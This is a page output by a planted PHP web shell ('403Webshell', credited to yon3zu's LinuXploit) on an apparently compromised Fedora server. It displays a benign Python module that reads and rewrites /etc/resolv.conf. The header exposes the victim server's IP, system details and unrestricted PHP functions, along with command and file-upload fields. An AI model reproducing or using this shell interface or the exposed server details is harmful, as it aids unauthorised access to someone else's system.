403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-network/netconfpkg/conf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-network/netconfpkg/conf/ConfEResolv.py
from .Conf import Conf # pylint: disable-msg=W0403


class ConfEResolv(Conf):
    # /etc/resolv.conf
    def __init__(self):
        Conf.__init__(self, '/etc/resolv.conf', '#', '\t ', ' ')
    def read(self):
        Conf.read(self)
        self.initvars()
    def initvars(self):
        # pylint: disable-msg=W0201
        self.vars = {}
        self.rewind()
        while self.findnextcodeline():
            var = self.getfields()
            if var[0] == 'nameserver':
                if self.vars.has_key('nameservers'):
                    self.vars['nameservers'].append(var[1])
                else:
                    self.vars['nameservers'] = [ var[1] ]
            else:
                self.vars[var[0]] = var[1:]
            self.nextline()
        self.rewind()
    def __getitem__(self, varname):
        if self.vars.has_key(varname):
            return self.vars[varname]
        else:
            return []
    def __setitem__(self, varname, value):
        # set first (should be only) instance to values in list value
        place = self.tell()
        self.rewind()
        if varname == 'nameservers':
            if self.findnextline('^nameserver[' + self.separators + ']+'):
                # if there is a nameserver line, save the place,
                # remove all nameserver lines, then put in new ones in order
                placename = self.tell()
                while self.findnextline('^nameserver['+self.separators+']+'):
                    self.deleteline()
                self.seek(placename)
                for nameserver in value:
                    self.insertline('nameserver' + self.separator + nameserver)
                    self.nextline()
                self.seek(place)
            else:
                # no nameservers entries so far
                self.seek(place)
                for nameserver in value:
                    self.insertline('nameserver' + self.separator + nameserver)
        else:
            # not a nameserver, so all items on one line...
            if self.findnextline('^' + varname + '[' + self.separators + ']+'):
                self.deleteline()
                self.insertlinelist([ varname,
                                      self.separator.join(value) ])
                self.seek(place)
            else:
                self.seek(place)
                self.insertlinelist([ varname,
                                      self.separator.join(value) ])
        # no matter what, update our idea of the variable...
        self.vars[varname] = value

    def __delitem__(self, varname):
        # delete *every* instance...
        self.rewind()
        while self.findnextline('^[' + self.separators + ']*' + varname):
            self.deleteline()
        del self.vars[varname]

    def write(self):
        # Need to make sure __setitem__ is called for each item to
        # maintain consistancy, in case some did something like
        # resolv['nameservers'].append('123.123.123.123')
        # or
        # resolv['search'].append('another.domain')
        for key in self.vars.keys():
            self[key] = self.vars[key]

        if self.filename != '/etc/resolv.conf':
            Conf.write(self)
        else:
            #  bug 125712: /etc/resolv.conf modifiers MUST use
            #  change_resolv_conf function to change resolv.conf
            import tempfile
            (fd, self.filename) = tempfile.mkstemp('', '/tmp/')
            Conf.write(self)
            import commands
            commands.getstatusoutput(
            "/bin/bash -c "
            "'. /etc/sysconfig/network-scripts/network-functions;"
            " change_resolv_conf %s'" % self.filename)
            fd.close()
            self.filename = "/etc/resolv.conf"
    def keys(self):
        # no need to return list in order here, I think.
        return self.vars.keys()
    def has_key(self, key):
        return self.vars.has_key(key)

Youez - 2016 - github.com/yon3zu
LinuXploit